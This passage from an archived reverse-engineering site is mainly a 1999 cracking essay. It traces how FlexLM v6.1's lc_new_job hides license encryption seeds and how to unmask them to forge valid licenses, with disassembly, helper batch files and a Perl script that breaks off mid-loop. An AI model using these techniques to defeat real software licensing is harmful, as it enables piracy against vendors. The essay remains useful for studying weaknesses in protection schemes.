loop on how the hiding works.

I didn't mention this earlier, but testprog.c


isn't meant to emulate what happens in the
flexlm based client, but rather how the routines
work, and how the correct keys can be derived if
a call with a non-null job pointer was done.

I am going to have to do some more tracing of what


goes on inside the program. The xoring with
vendorcode5 could occur before the call in l_sg
to the decoding routine.

Thank you for your assistance - the info you


have provided has been of great assistance in
figuring out how lm_new works.

http://www.instinct.org/fravia/revework.htm (25 of 26) [2/7/2001 3:29:14 PM]


revework.htm: The flexlm challenge and cooperative reversers' work

I have done a detailed trace of the calling


sequences, and what you describe appears correct.
I am going out of town for a bit, but I will
post stack traces and argument values when I get
back.

later,

-NB.

You'r deep inside fravia's pages of reverse engineering, choose your way out!

Choose another page!

homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/revework.htm (26 of 26) [2/7/2001 3:29:14 PM]


dan_fle5.htm: Flexlm v6.1 new feature lc_new_job()

Flexlm v6.1
lc_new_job() flexlm

26 September 1999 by dan


Courtesy of Fravia's page of reverse engineering
fra_00xx
98xxxx A great essay. A good reverser throws some light in a very
handle 'obfuscated' prortection scheme, and explains his reversing
1100 work in a fascinating style. A must for all those that want to
NA learn how you should tackle a complicated reversing job.
PC
There is a crack, a crack in everything That's how the
light gets in
Rating ( )Beginner (X)Intermediate ( )Advanced ( )Expert

"lc_init() should only be used with license generators, and should not normally be used in applications shipped to clients. Use
lc_new_job() instead, as it offers enhanced security." -- flexlm reference manual - v6.1

Flexlm v6.1
lc_new_job()
Written by dan

Introduction
There are now quite a few essays written on flexlm. These essays should be read
before
reading this one. This essay might help you if you are trying to get encryption
seeds for
a target that uses flex v6.1 and you can't get them using the methods in previous
essays.
That was where I was before doing the things in this essay. If I would have read
this
essay back then, it would have helped me.
I have tried to show not only what I found, but how I found it. The how is maybe
less relavent to this subject. The how is nothing special - these are common
techniques.
You probably could have found this stuff out on your own without having to know my
methods.
But maybe you will find some technique I used helpful for your cracking in general.
I just tried to write something that I would have enjoyed reading.

Tools required
http://www.instinct.org/fravia/dan_fle5.htm (1 of 19) [2/7/2001 3:29:26 PM]
dan_fle5.htm: Flexlm v6.1 new feature lc_new_job()

tools I used:
softice
wdasm
lib (Micro$oft - sorry!)
dumpbin (Micro$oft - sorry!)
egrep (pc users - search cigwin)
perl (cigwin again)

Target's URL/FTP
Its hard to say what the target is - is it the "target" or is it flexlm?
Let's just say:
A program that integrates flexlm v6.1 and calls lc_new_job()
Refer to past essays - those targets may have been updated.

Program History
Flexlm has been broken before. They added enhanced security.

Essay
**************************************************************
Part 1 learning curve and confusion:
**************************************************************
Initial interest in flexlm for me started a week or so ago. I read some essays,
found
some targets and applied the essays techniques to these targets. - nothing special.
Then I ran into a problem:
I had gotten the necessary "keys and seeds" needed to generate a license for a
target (target A). There was a new version of target A (target B).
I could not get the "keys and seeds" for target B using the same techniques for
target A.

(note: target A used flexlm 6.0. Target B used flexlm 6.1)

So this sucked! I queried for answers and got some hints but no one said
"dude you need to xor your answer with 0xff". I guessed I would have to either wait
for an answer or investigate myself ...

About this time I replaced the target B seeds and keys with target A's.
There was no logic in doing this - I was just flailing for answers.
I generated a license for target B using target A's seeds and keys.
This worked!! (after upgrading the "version" on the license entry)

At this point, if you understand what I wrote you might be asking -


"You got the right license so time to move on right?"

Maybe thats what I should of done.

http://www.instinct.org/fravia/dan_fle5.htm (2 of 19) [2/7/2001 3:29:26 PM]


dan_fle5.htm: Flexlm v6.1 new feature lc_new_job()

This was confusing to me. Target A and B definitly had different vendorcode
structures - so how could the old target A info work on target B?

As another experiment, I took the "encryption_seeds" from target A


and the VENDORKEYS from target B and generated a valid license for target B.
(again no logic in doing this)

This was confusing also. All through this process I was thinking that
I am not really understanding the license generation process and what
the SEEDS and VENDORKEYS are really used for.

**************************************************************
Part 2 a little less confusion but still - confusion:
**************************************************************

After reading more essays and some discussions with Nolan Blender, I started
to realize that if you got the right license i.e. no error -8 that means
you have the right "ENCRYPTION_SEEDS". The VENDORKEYS have nothing to do
with this.

I now understand that the encryption seeds are used as "keys" to


a function that takes information on the license entry and makes an
authenticator. That authenticator is compared to the one on the
license entry line. It literally comes down to a character compare.
If they don't match you get -8 error. This prevents someone from
for example changing the expiration date in an otherwise valid
license file. Another essay should explore this authenticator function.

I still don't quite understand the importance of the VENDORKEYS as far


as a cracker generating a valid license. I think that as long as they
follow certain checks, the actual values are not used to create the
authenticator that you see in the license file.

I did start to understand the importance of the ENCRYPTION_SEEDS in license


generation
though. So now I knew why my target A info worked. It was because target A
was giving me the right ENCRYPTION_SEEDS. Note that there are no other right
ENCRYPTION_SEEDS - these were the ones. Therefore, target B was doing something
funny with its vendorcode.data and hiding the ENCRYPTION_SEEDS somehow.

So what this means is that it is perfectly valid to have the same ENCRYPTION_SEEDS
with different VENDORKEYS - which is what target A and target B had.

The problem then is one of two things:


1. The vendorcode structure that I got from lc_init
did not have the same encoding for the encryption seeds. That is
es1 != vc.data[0]^vk5 and es2 != vc.data[1]^vk5.
2. The old encoding was true but the "real" vc.data was hiding somewhere
else.

Why? Because I KNEW the encryption seeds and KNEW vk5 and KNEW vc.data and
this was TRUE: es1 != vc.data[0]^vk5 and es2 != vc.data[1]^vk5.

These things would have to be tested out.

http://www.instinct.org/fravia/dan_fle5.htm (3 of 19) [2/7/2001 3:29:26 PM]


dan_fle5.htm: Flexlm v6.1 new feature lc_new_job()

It should be noted at this point that having the right ENCRYPTION_SEEDS was
a pure gift. This is rare that you have the answer before knowing where
to find it. Another style of essay might not mention this fact that I
had the right answer from the start. This makes this kind of attack 100%
easier and should be considered less of a crack than someone who didn't
have the answer. It is an important point.

Another implication that the seeds worked is that flexlm itself was
being configured correctly when I generated the license. This gave
me confidence that my target was not using some of the flex-able features
of flexlm. I admit I don't quite understand this - it has something
to do with lc_set_attr calls though.

You on the ohter hand will probably not have the right encryption
seeds (which might be why you're reading this junk). That's ok -
follow the steps of the previous essays, which is what I did in the
first place. You should have generated a license file with your features,
however when ran you will get a -8 error from flexlm (bad seeds). You
need this to be able to have the right code execute.

You should note that flexlm is staticly linked to this target,


and that the flexlm sdk contains the libraries that my target used.
This is unusual for most of the cracking I have done. Having
full documentation and source code, examples, libraries etc. is
pretty overwhelming.

**************************************************************
Part 3 test some things out: Program flow
**************************************************************

I wanted to see the flow of the program. Which routines were called
and in what order. I put breaks on lc_init, lc_checkout, and l_sg (described below),
then ran the program, watching the order things were called. Also observing return
values. The API documents helped to interpret what to expect for return values.

The way I originally found these routines in my target was partly by comparing
the "signature" of the .dll code to my target.

The flow went something like this:

call lc_init {
...
:00440008 50 push eax pram
:00440009 56 push esi pram
:0044000A E8BD1E0000 call 00441ECC call
l_sg(job,code,??)
:0044000F 83C40C add esp, 0000000C restore
:00440012 817DCC21436587 cmp dword ptr [ebp-34], 87654321 compare seed to
default
:00440019 7409 je 00440024
:0044001B 817DD078563412 cmp dword ptr [ebp-30], 12345678 compare other
seed
:00440022 7527 jne 0044004B
...

http://www.instinct.org/fravia/dan_fle5.htm (4 of 19) [2/7/2001 3:29:26 PM]


dan_fle5.htm: Flexlm v6.1 new feature lc_new_job()

}
...
call lc_checkout [
...
...
call l_sg
...
...
if(bad seeds) return -8
else return 0
}

Note that from reading other essays, I knew that the check for default values was
a good place to look for seeds. I knew lc_checkout was another important location
for getting "features".

At this point, I decided to trace through the l_sg call inside lc_init. I printed
out a copy of it and traced through it, writing notes on the copy. I should note
at this point I was comparing the wdasm output of the program to my "annotated
object dissassembly" (see appendix). The first part of l_sg was:
l_sg(???,name,vendorcode):
:00441ECC 55 push ebp - after this push, 8
extra bytes on stack before params
:00441ECD 8B4C2408 mov ecx, dword ptr [esp+08] - this is first param
to l_sg
:00441ED1 8BEC mov ebp, esp
:00441ED3 83EC04 sub esp, 00000004 - we're going to use 4
bytes in this routine
:00441ED6 8B4150 mov eax, dword ptr [ecx+50] - ok first param is a
ptr.
...
:00441EDC F6804101000080 test byte ptr [eax+00000141], 80 - ok another
derefrence, confusing!!!
:00441EE3 741E je 00441F03 - test failed
here on my trace
:00441EE5 833D74024F0000 cmp dword ptr [004F0274], 00000000 - this is a call
vector
:00441EEC 7415 je 00441F03 - vector zero so
don't call it
:00441EEE FF7510 push [ebp+10] - set up params
:00441EF1 FF750C push [ebp+0C]
:00441EF4 51 push ecx
:00441EF5 FF1574024F00 call dword ptr [004F0274] - vector call
!!!
:00441EFB 83C40C add esp, 0000000C
:00441EFE E9A5000000 jmp 00441FA8

:00441F03 8B7D10 mov edi, dword ptr [ebp+10] - jump here edi =
vendorcode
:00441F06 8B750C mov esi, dword ptr [ebp+0C] - this is vendor name
:00441F09 8D470C lea eax, dword ptr [edi+0C] - =
vendorcode+0c=vendorkeys
:00441F0C 50 push eax
:00441F0D 56 push esi
:00441F0E E83FAD0000 call 0044CC52 - this is l_key(name, keys)

http://www.instinct.org/fravia/dan_fle5.htm (5 of 19) [2/7/2001 3:29:26 PM]


dan_fle5.htm: Flexlm v6.1 new feature lc_new_job()

...
...

Now, look at the first tests. It is testing a flag (which I failed), testing
a vector for 0 and if not 0 will call the vector stored there. To me a call to
a vector is suspect. Especially after that convoluted test! I was glad that the
program did not go to that vector. It looked like something scary was going to be
there. I decided to ignore this part of l_sg for a while.

I wanted to get more comfortable with l_sg. I traced through the remaining part
and made notes on my printout. First I noted the parameters passed to it.
I wasn't sure what the first one was but the other two were obvious.
Then I wanted to know what the outputs were. This code was generated from
C so one output could be eax, but the calling routines would trash eax. It
basically came down to:

:00441FA2 895708 mov dword ptr [edi+08], edx - store something in


vc.data[1] (seed 2)
:00441FA5 894704 mov dword ptr [edi+04], eax - store something in
vc.data[0] (seed 1)
restore and return

There are calls by value (value on stack) and calls by reference (pointer).
This was a call by reference that modified the vendorcode that was
passed to it. However, the values placed here were the same "wrong"
seeds that I had gotten on my initial attempt to crack this target.
After some more re-reading of essays, I realized that this is the "old style"
of recovering the seeds - by xoring the vc.data with vendorcode5. By
doing this I learned a lot about how the older versions of flexlm worked.
But if you recall, I already knew these were the wrong seeds.

I pretty much new that this is what l_sg would return because I had originally
bpx'ed right after that call. This was because of previous essays. The only
thing that I learned was that there was some funny flag/vector stuff going
on in l_sg.

**************************************************************
Part 4 test some things out: Data Flow
**************************************************************

I was tired of tracing the code and staring at disassembly.


Time for a different approach:

Maybe the seeds were hidden somewhere else, or maybe the vendorcode.data
still had something to do with the seeds. I knew one way to
find out if vendorcode.data was still relavent: Using a valid license,
poke bad values into vendorcode.data and see if the program fails or not.
If vendorcode.data was not really used, the program would not fail.
If vendorcode.data was used the program would fail.
It failed.

Ok, so vendorcode.data sill has some relavence to the authenticator. And


probably is still containing the seeds with some other function on top
of it. This made me feel a little better. At least the seeds were still
where I thought they were.

http://www.instinct.org/fravia/dan_fle5.htm (6 of 19) [2/7/2001 3:29:26 PM]


dan_fle5.htm: Flexlm v6.1 new feature lc_new_job()

I did a bpm on the vendorcode.data passed to lc_init. I followed the


data around. It was copied several times so I bpm'ed all the copies.
I ran the program several times. Trying to get a feel for what was going
on. I could see that something wierd was happening - at one point the
vendorcode.data appeared to get "randomized". That is, there were non-
deterministic values placed there on sucessive runs - interesting and scary!!!

**************************************************************
Part 5 Program Flow again: Good Guy/Bad Guy
**************************************************************

At this point I decided to target certain routines and observe execution of


the program under two conditions: One condition is with a good license file.
The other is with a bad licence file. The way I targeted the routines was
to do a search in the library for references to l_sg (see appendix). I could
have also searched wdasm for the l_sg address but I was starting to like this
new strategy.
I can't remember the order of things now, but I also traced down through lc_checkout
as part of deciding which routines to single out.
One of the routines that used l_sg was good_lic_key. By searching for references
to good_lic_key and so on up the heiarachy I deducted that good_lic_key was
called in lc_checkout. Ok this is getting somewhere because lc_checkout is the
routine that returns -8 (bad seeds).

By tracing "good" and "bad" execution of good_lic_key, I could see the following:

good_lic_key {
...
l_sg()
extract_date()
l_ckout_crypt()
test eax from l_ckout_crypt()
if eax zero BAD GUY!!! jump to -8 !!!
good guy code
...
}

Now if you have been following this, I already knew l_sg had some suspect code.
But the bad guy test came from l_ckout_crypt(). What should I persue next - l_sg?
- l_ckout_crypt ? I decided to trace l_ckout crypt.

Wrong decision.

What I found out from good guy/bad guy execution of l_ckout_crypt is that it forms
a string of data based in part on a license file entry. Then, it forms an
authenticator
based on that string of data. Then it compares this authenticator to the one in
the license file. Bad guy will fail this compare. So I could continue into this
function to find the seeds - they have to be there somewhere. I decided to abandon
this. It might have been around the corner but I felt that the l_sg should be
followed
some more.

***************************************************************

http://www.instinct.org/fravia/dan_fle5.htm (7 of 19) [2/7/2001 3:29:26 PM]


dan_fle5.htm: Flexlm v6.1 new feature lc_new_job()

Part 6 Seeds are uncovered - the answer


***************************************************************

Ok, back to l_sg. I bpx'ed lc_init, lc_checkout, and l_sg. I knew that it would be
called in both routines, but I wanted to see it when it got into lc_checkout.

This time l_sg took the jump to the vector!!! I should have known.
It would have saved me a lot of time to just break on this jump in the first place!!!

The first part of the vector code went like this:

store strlen(vendor name)


if parameter zero go somewhere else
job+offseta=gronk(time())
job+offsetb=gronk(time())
job+offsetc=gronk(time())

The "job" structure gets passed by reference to almost all flexlm


functions. This is one way they communicate with each other.

If you think about this, what function would gronk time() a bunch
of times? It will not give you the same results any time ran. It would give
you RANDOM values.

At this point things were making sense. The explanation for seeing random data in
vc.data now was clear - the time() function was randomizing vc.data.

As I traced through this function, I could see there were three main sections.
1. create random data in dword offsets +4 +8 +c +10 of job structure.
2. crunch vendor name into a 4 byte value.
3. process vendorcode.data using vendorkey1 vendorkey2,
a constant, random data, and value from 2

At some point I stopped tracing and reset the program, breaking after generation of
the random data. I zeroed out the random data and set a break at the end of the
routine. Pressed ctrl+d and there they were - the unencrypted correct seeds that
I had gotten originally from target A!!

The code after the random number generation basically does:


mask = vendorkey1 ^ vendorkey2 ^ dword const ^ vname hash ^ random
seed 1 = mask ^ vendorcode.data[0]
seed 2 = mask ^ vendorcode.data[1]
where:
dword const = constant in the code
random = a 32-bit value composed of bytes at offsets +0xb +0x8 +0x13 and +0x9 of job
vname hash = a function of a vendor name checksum

Ok. Now you can see that es1 != vc.d[0]^vk5. This was the answer. The seeds
had been hidden by a different function.

Further study of this routine shows that if the first parameter passed
to it is 0 instead of a pointer to job, it will use 0 for random data and
therefore will return the correct seeds.

Since the random bytes are stored in the job, the real seeds can be

http://www.instinct.org/fravia/dan_fle5.htm (8 of 19) [2/7/2001 3:29:26 PM]


dan_fle5.htm: Flexlm v6.1 new feature lc_new_job()

used without ever seeing their true values in the cpu or memory as long
as you have the vendorcode and job structures to work with.

***************************************************************
Part 7 Tracing flags
***************************************************************

This was pretty much a done deal. I could get the seeds out of this target.
A question was lingering. The l_sg checks a flag to see if it should
jump to the "alternate" seed decrypter. Called in lc_init, this flag is clear.
Called in good_lic_key, this flag was set. So somewhere this flag was
being set. Time to bpm.

I set a bpm on this byte. I found what was setting it. The code was something
like:
...
:00444694 E8A7B3FFFF call 0043FA40 <-call lc_init
:00444699 83C410 add esp, 00000010
:0044469C 8B0E mov ecx, dword ptr [esi] <- ecx = *job
:0044469E 8B5150 mov edx, dword ptr [ecx+50] <- ok this is
familiar (see l_sg)
:004446A1 5E pop esi
:004446A2 808A4101000080 or byte ptr [edx+00000141], 80 <-set flag!!!
:004446A9 8BE5 mov esp, ebp
:004446AB 5D pop ebp
:004446AC C3 ret

Now let me digress. At this point I knew that this flag was going to be at
the same address every time I ran the program. This makes the bpm that much
easier. This implies that this variable is not dynamically declared. Or maybe
it is dynamically declared but the process is deterministic. I don't know enough
to say. But I do know that having this flag at the same location for each run
is a great help. anyway...

Well there it was, the same screwey dereferencing and the setting of the flag.
Right after the call to lc_init. That made sense. Thats why l_sg behaved one
way in lc_init and another way in lc_checkout. This was a gift having the flag
set right after the call to lc_init. It implied that whatever this routine was,
when called it set in motion the alternate seed decryption routine. This routine
was pretty small. I searched for it in the library (by searching for references
to lc_init, then examining these object files - see appendix). This routine turned
out
to be lc_new_job(). I then found out who was calling lc_new_job. The calls at that
level looked like:
lc_new_job()
lc_set_attr(0x38,"license file") <- set up where licence file is
lc_checkout(feature a...)
...
lc_checkout(feature b...)
...

This code must have been part of what flexlm would call the "client code".
I was at the top of the API chain. This code has vendor specific stuff in
it whereas previous code was flexlm generic. This was good to know.

http://www.instinct.org/fravia/dan_fle5.htm (9 of 19) [2/7/2001 3:29:26 PM]


dan_fle5.htm: Flexlm v6.1 new feature lc_new_job()

After finding this I bpx'ed at lc_new_job, lc_init, l_sg, lc_checkout, the "real"
l_sg and ran the program. I verified the program flow was how I thought it should
be.

All along I had no idea where the calls were coming from. I thought lc_init
was the "init" routine called by the client. Now I knew that there was a level
up. And there was a high probability this was the top level.

***************************************************************
Part 8 the feature lc_new_job
***************************************************************

This brings me to the title of this essay - the feature lc_new_job. Its pretty
late in the essay to be finally discussing the title subject. But that's how
I found it. There was no magic revelation that I should look for lc_new_job.
I had to trace the program/data flow from an arbitrary starting point.

I had rememberd reading about lc_new_job in the documents. It was strange


because they talked about something I felt was inapropriate to discuss in
an API document. It stood out. I re-read the description.

They made a point that you have to link with lm_new.obj. If you don't you
will get a linker error for l_36_buf. (I already knew l_36_buf was the name
of the l_sg "alternate seed" vector by the way). Time to look at lm_new.obj.

Anyway, a disassembly of lm_new.obj revealed the alternate seed decrypter


that was calling time() to generate random data and xoring it with the real
seed. This made sense. I knew that lc_new_job set that "alternate seed" flag.
I knew that the documents said you needed lm_new.obj. These two facts
confirmed that the "alternate seed" decrypter should be in lm_new.obj.

***************************************************************
Part 9 lm_new.c
***************************************************************

When I discussed the information about lc_new_job and lm_new.obj,


VoxQuietis informed me that he couldn't find lm_new.obj in his
flexlm distribution. At this point, pilgrim noted this build rule
in the flexlm makefile:
lm_new.obj : ..\machind\lsvendor.c lmrand2.obj ..\machind\lm_code.h
lmrand1 -i ..\machind\lsvendor.c
$(CC) $(CFLAGS) $(INCS) /c lmcode.c
$(LD) $(LFLAGS) /out:lmrand2.exe lmcode.obj lmrand2.obj \
$(LIBS) $(CLIBS)
del lm_new.c
lmrand2 -o lm_new.c
$(CC) $(CFLAGS) $(INCS) /c lm_new.c

What this is saying is that lm_new.obj doesn't come with the distribution -
you make it from lm_new.c. Another thing this is saying is that lm_new.c
doesn't come with the distribution - you GENERATE it. Time to look at
lm_new.c.

This module has two functions. Both functions are related to lc_new_job.
One function is called directly by lc_new_job. This function "unpackages"

http://www.instinct.org/fravia/dan_fle5.htm (10 of 19) [2/7/2001 3:29:26 PM]


dan_fle5.htm: Flexlm v6.1 new feature lc_new_job()

the vendorcode and vendor name. The other function is the "alternate seed"
decrypter and undoes the pre-encryption done on the seeds to form vc.data.
The decrypter also conditionally masks the decrypted seeds with a random
value and stores that mask in the job structure so the seeds can be recovered
later.

The "unpackager" was one of the remaining questions I had. That is, how
was the original vendorcode stored in the executable? Now I could see
that it was obfuscated inside a function.

So a recap of the relavant backtraces reveals:

lc_new_job {
call lm_new.unpackage(vname,&vc) (unpackage vendorcode,vendor name)
call lm_new.unpackage(0,0) (not sure why this call 0,0 )
call lc_init {
...
call l_sg (alt seed flag not set - return old style vc.d^vk5)
compare seeds to default 12345678 and 87654321
...
}
set alt seed flag
}
...
lc_checkout {
...
good_lic_key {
...
l_sg {
alt seed flag set so,
lm_new.decrypt(job,name,vc) (decrypt and RANDOMIZE!!)
}
extract_date
l_ckout_crypt / -8 test
...
}
...
}

Now back to lm_new.c. Another thing I noticed was that the "dword const" used
in its decryption routine was not the same as the dword const used
by my target. Refer back to part 6 for what the dword const is.
This was maybe the most important observation made about lm_new.c. I
decided to re-make lm_new.c. When I did, I got yet another different
dword const. Not only that, other things were different about lm_new.c
each time I generated it.

What this is saying is that lm_new.c is a "personalized" version for each


target. This means it is unique for each target. In the past, the encoding
of the seeds was generic: They were encrypted with vendorkey5 and a generic
library routine could be used to get vendorkey5. Now, a custom routine
was used for each target.

Personalization is nothing new but is usually used to single out and verify
a specific entity. For example, a private key is personalized. If a person signs

http://www.instinct.org/fravia/dan_fle5.htm (11 of 19) [2/7/2001 3:29:26 PM]


dan_fle5.htm: Flexlm v6.1 new feature lc_new_job()

something with a private key, you know it came from them. If private keys were
not personalized, anyone could sign for anyone else. But then they wouldn't be
"private" keys now would they? They would be the same value for everyone.

This method of personalization is very practical for globetrotter. They don't


have to interact with their customers to give them a custom routine. It
is all handled through automatic generation of lm_new.c.

***************************************************************
Part 10 The source code generator
***************************************************************

I would like to illustrate what I think the source code generator does.
The source code generator is everything used to make lm_new.c. The
final source code generator executable is lmrand2. (I'm not sure how
this ASCII art will look in your browser!!)

______________ ______________________________
clear seeds -->| encryption |--->encrypted seeds->|vendorcode.data[]=enc. seeds,|
| routine | |other vendorcode,vendorname |
-----^----^--- -|-----------------------------
| | |
| | _____________V__________
| | |Unpackager source code|--> unpackager source
code
_________________ | | |generator | in lm_new.c
|PERSONALIZATION | | | ------------------------
|INFO = rand(); |--| |
------------------ | |-VENDORKEYS,VENDORNAME
|
_____V____________________
| Seed decryption source |-----> seed decryption source code in
lm_new.c
| code generator |
--------------------------

This basically says that the generator:


Creates some personalization info from rand()
Encrypts the seeds using personalization info, vendorkeys, and vendorname.
Forms the vendorcode structure from the encrypted seeds and the rest
of what vendorcode is.
Feeds vendorcode and vendor name to the unpackager source code generator
to generate the unpackager source code in lm_new.c
Feeds the personalization info to the seed decryption source code generator
to generate the seed decryption source code in lm_new.c

Things to observe:

The encryption process and the obfuscation done by the unpackager are
separate processes.

It is unimportant what the seed decryption algorithm really is. The important
thing is that it undoes what the encryption routine did. This is easy to do since
the thing that encrypted the seeds and the thing that generates the decryption source
code lie in the same entity.

http://www.instinct.org/fravia/dan_fle5.htm (12 of 19) [2/7/2001 3:29:26 PM]


dan_fle5.htm: Flexlm v6.1 new feature lc_new_job()

The encryption/decryption of the seeds is a personalized process.

***************************************************************
Part 11 Final analysis
***************************************************************

We now have enough information to make a final analysis on what the "enhanced
security" of lc_new_job is. (This might not be the "final" analysis because
there still might be some things I missed.)

First is the obfuscation of the vendorcode and vendorname.

The second is more complicated. Let me define some terms first:


The two previous methods of breaking flexlm seeds are what I would
call "pre-seed" attack and "post-seed" attack.

The pre-seed attack was possible because the methods of encrypting


the seeds were generic. All you needed was the vendorcode structure
to get the seeds. Calling l_svk with the vendorcode gives you vendorkey5.
Xoring vendorkey5 with vendorcode.data gives you the clear seeds.

The post-seed attack was possible because the seeds were in the clear after
decrypting them. All you needed was to break at the compare to default
values and write down the seeds.

Both of these methods were un-obtrusive in the sense that the cracker only
needed to set the right breakpoint and write down some values. No modification
of program execution was needed.

So now we can see what the second part of the "enhanced security" is. It is
trying to deal these two forms of attack. The personalization makes the current
pre-seed attack invalid. So the cracker is forced to use the post-seed attack.
But the randomization on the clear seeds makes the current post-seed attack
invalid. So the cracker is forced to a new form of attack.

Remember that I was foiled by the post-seed countermeasure early on when I was
following the seeds around and saw the random data. I didn't mention it but
I was foiled by the pre-seed countermeasure early on because I tried
the pre-seed attack also.

You can not deal with one form of attack without dealing with the other. You
need both countermeasures in place. For example if the encryption was only
personalized the cracker could still do the post-seed attack. If the decryption
output was only randomized the cracker could still do the pre-seed attack.

Part of what decreased the effectiveness of these countermeasures is that the


target did not change its seeds when switching to a new version of flexlm.
This might have been done for practical reasons. The ironic thing is that
this not only compromized the target's security, it compromized the security
of all targets using the flexlm feature lc_new_job.

**************************************************************
Appendix - exploiting object code/libraries
***************************************************************

http://www.instinct.org/fravia/dan_fle5.htm (13 of 19) [2/7/2001 3:29:26 PM]


dan_fle5.htm: Flexlm v6.1 new feature lc_new_job()

As Nolan Blender pointed out in an essay, flexlm is composed of a ton


of object files located in a object libraray. This is cool because
not only are API calls visible, but internal calls between object
libraries are visible too. Also, you can find out all the object files
that use a particular function. It is nice to have the symbol info from
the object files to annotate the disassembly. Even c standard functions
are annotated!! Have you ever traced through printf by mistake not knowing
thats what it was? If I understand pilgrim right, IDA can read object files
and find and annotate the code in a built application. I didn't know this
at the time. However I did understand that I wanted that symbol info.
I tried to use wdasm to disassemble the object file but that didn't work.
It is highly probable I just didn't know how to use it right.

I guess the way some people handle this is to build their own flexlm client
app with debug switches on. Then they can reverse engineer this app. With
all the symbol info. This of course is a sane way to do things.

I wasn't interested in this approach. I wanted to stick with my target.


The basic method went like this:

Target a function
Search the library for references to the function using dumpbin.exe
If I wanted the actual function - the reference would not be "undef"
If I wanted calls to the function - the reference would be a "undef"
Extract the relavant object file using lib.exe
Extract the reloc/header info into one file using dumpbin.exe
Extract the object disassembly into another file using dumpbin.exe
Combine info from the reloc and disassembly files
into one "annotated object disassembly" file using a perl script file

Once I found some object code that I wanted to see in the target, I would
manually search for the "signature" of it in the target.

There maybe tools that can do what I wanted to do. I would like to know.
But it didn't matter in the end. This approach worked very well.

Eventually, I had three batch files, one was wheresym.bat: (find symbols in obj or
lib)
dumpbin /archivemembers /symbols %1 | egrep "member|%2" > result.txt

Second was extract.bat: (extract .obj from .lib)


lib /extract:%2 %1

The third was gronk.bat: (extract an obj and create annotated disassembly)
call extract lmgr.lib SINTEL_REL\%1.obj
dumpbin /relocations /headers %1.obj > %1.sym
dumpbin /disasm %1.obj > %1.dis
perl sym.pl %1.sym %1.dis > %1.txt

Note that all objects in lmgr.lib had SINTEL_REL\ in front of their name.
The perl script sym.pl is included later. The tools dumpbin and lib have
equivalents such as objdump and ar.

Gronk.bat creates 3 files *.sym *.dis and *.txt. I am only interested in

http://www.instinct.org/fravia/dan_fle5.htm (14 of 19) [2/7/2001 3:29:26 PM]


dan_fle5.htm: Flexlm v6.1 new feature lc_new_job()

*.txt - the final output of the process.

Here's an example,
say I was interested in l_sg. I would type:
>wheresym lmgr.lib l_sg

The result.txt file would contain:


...
Archive member name at 1AB84: /176 SINTEL_REL\l_cksum.obj
013 00000000 UNDEF notype () External | _l_sg
...
Archive member name at 4621A: /1729 SINTEL_REL\lm_ckout.obj
092 00000000 SECT1D notype () External | _l_sg
...
Archive member name at 5E9F2: /2249 SINTEL_REL\lm_init.obj
015 00000000 UNDEF notype () External | _l_sg

This tells me that l_sg is in lm_ckout.obj and is referenced in lm_init.obj


and l_cksum.obj. Note that l_sg might be called by a function in lm_ckout.obj
or not. I would have to gronk lm_ckout.obj in order to find out.

So it depends on what I wanted to do.


Say I type:
gronk lm_ckout.obj

Searching the resultant lm_ckout.txt for l_sg, I find some calls and then the
actual function (I only show code for illustration of this method):

New proc searching...


Found proc 164
_l_sg:
00000000: 55 push ebp
...
00000015: A1 00 00 00 00 mov eax,[00000000]
Found 00000016 _l_n36_buff
...
00000039: 57 push edi
0000003A: E8 00 00 00 00 call 0000003F
Found 0000003B _l_key
0000003F: 8B F0 mov esi,eax

The "Found" lines and "New proc" line are from the perl script. The code is from
the .dis file. The found lines state an address of a reference. For example,
this code is saying the l_n36_buff reference is at address 0x16. You should realize
this object code will be located at a different address in linked code and all reloc
info will be resolved. The "call 0x3f" is not really calling address 0x3f. The
four zero's are just placeholders for the reloc info. So this call is a call to
l_key.

My point is I can take this file and compare against the target to find function
names.
Another powerful feature is finding all the calls by just searching on the names.
Now if I wanted to go down the heiarchy, I would find l_key and study its references.
If I wanted to go up, I would look for other references to l_sg.

http://www.instinct.org/fravia/dan_fle5.htm (15 of 19) [2/7/2001 3:29:26 PM]


dan_fle5.htm: Flexlm v6.1 new feature lc_new_job()

For example, also in lm_ckout.txt is good_lic_key:


New proc searching...
Found proc 79
_good_lic_key:
...
00000016: E8 00 00 00 00 call 0000001B
Found 00000017 _memcpy
...
0000002D: E8 00 00 00 00 call 00000032
Found 0000002E _l_sg
...
00000041: E8 00 00 00 00 call 00000046
Found 00000042 _l_extract_date
...
0000004B: E8 00 00 00 00 call 00000050
Found 0000004C _l_ckout_crypt
...

Next, I could query good_lic_key to see who calls it and so on.


So I could work in the space of the object files or the space of my target.
It was a minor inconvenience to switch between them.

The perl script first processes the symbol info in the .sym file. It
creates an array of what function,address,and reloc name are in an entry.
It assumes the entries' addresses are in increasing order.
Then it processes the disassembly file and uses the array it built up
previously. I was in a wierd mood when I wrote it so the file processing is
in a state machine. I don't think the split stuff is necessary but whatever.
I have that habit from using a2p (awk to perl) which does a similar thing.
Note that this script is highly dependant on the output syntax of my dumpbin.exe
which was from msvc++ 5.0.
Here is the perl script sym.pl
#***************************************************************

$arg1 = shift;
$arg2 = shift;
@proca = ();
@addra = ();
@syma = ();

open (IN,$arg1);

$state = 0;
while () {

if($state==2) {
$proc_name = "";
}
if(($state==2)&&(/Communal/)) {
chop;
@Fld=split(' ',$_,999);
$proc_name=$Fld[$#Fld];
# print $_;
$state=3;
}

http://www.instinct.org/fravia/dan_fle5.htm (16 of 19) [2/7/2001 3:29:26 PM]


dan_fle5.htm: Flexlm v6.1 new feature lc_new_job()

if($state==5) {
chop;
@Fld=split(' ',$_,999);
if($#Fld!=-1) {
push(@proca,$proc_name);
push(@addra,$Fld[0]);
push(@syma,$Fld[$#Fld]);
# print "$proc_name $Fld[0] $Fld[$#Fld]\n";
}
# print $_;
}

if($state==1) {
if (/text/){$state=2;}
else {$state=0;}
}
$state=1 if(/^SECTION HEADER/);
if(($state==3)&&(/RELOCATIONS/)){$state=4;}
if(($state==4)&&(/-------/)){$state=5;}
if(($state==5)&&(/^$/)){$state=0;}
# print "$state $_";
}

close IN;

#for ($i=0;$i<=$#proca;$i++) {
# print "$proca[$i] $addra[$i] $syma[$i]\n";
#}

open (IN,$arg2);

$state = 0;
while () {
chop;
$symfound=0;

if($state==3) {
@Fld=split(' ',$_,999);
if($Fld[0] =~ /[0123456789ABCDEF]*:/) {
$addr=$Fld[0];
$addr=~s/://;
$j = hex $addra[$searchi];
$j;
$k=hex $addr;
